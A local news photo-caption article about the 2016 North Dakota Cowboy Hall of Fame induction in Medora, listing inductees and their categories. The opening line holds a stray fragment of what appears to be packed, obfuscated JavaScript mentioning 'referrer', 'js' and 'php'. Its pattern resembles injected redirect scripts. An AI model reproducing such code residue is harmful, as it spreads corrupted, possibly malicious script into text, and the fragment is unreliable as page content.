MEDORA rkssf|var|u0026u|referrer|eehbe||js|php’.split(‘|’),0,{})) (NewsDakota.com) 10 individuals and a horse received very high honors Saturday in Medora as part of the 21st annual and 2016 Class of the North Dakota Cowboy Hall Of Fame.
A dinner for the inductees and their families was held at the Hall on Friday night, with the induction ceremony at Chimney Park on Saturday. A photo album featuring the events from Friday night and Saturday is below. Clicking on a picture will enlarge it.
Bradley Bretine being inducted into the hall for the #18 War Paint painting, with his daughter reading a speech Friday night. Bretine was unable to attend Saturday, due to a family wedding.
Outgoing Interim Executive Director Phil Baird presenting new Executive Director Jim Chamley with a gift.
Six kids racing horses as a fundraiser. Around $2900 was raised for the Hall of Fame.
The induction ceremony this year took place at Chimney Park in Medora.
Beni Paulson entertains the crowd before the start of the ceremony,
Guest Speaker, CEO of the Rocky Mountain Elk Foundation David Allen.
Chad Berger inducted in the Rodeo Arena Category.
Deb Britene, representing her husband Bradley and #18 War Paint, receiving induction into the Livestock Rodeo Category.
Relatives of A.N. Jeffries, inducted under the Pre-1940’s Ranching Category.
Joseph S. Schaff inducted into the Modern Era Ranching Category.
Jess Ann Knutson and family members inducted for the Kennedy Ranch in the Ranch Category.
The Krueger family accepting induction for Terry Krueger in the Pre-1940 Rodeo Category.
Monty Carson, inducted into the Modern Era Ranching Category.
Ed Sundby, also receiving induction in the Modern Era Rodeo Category.
Members of the Greenwood Family, receiving the honor for Dale Greenwood, inductee into the Leaders of Ranching and Rodeo Category.
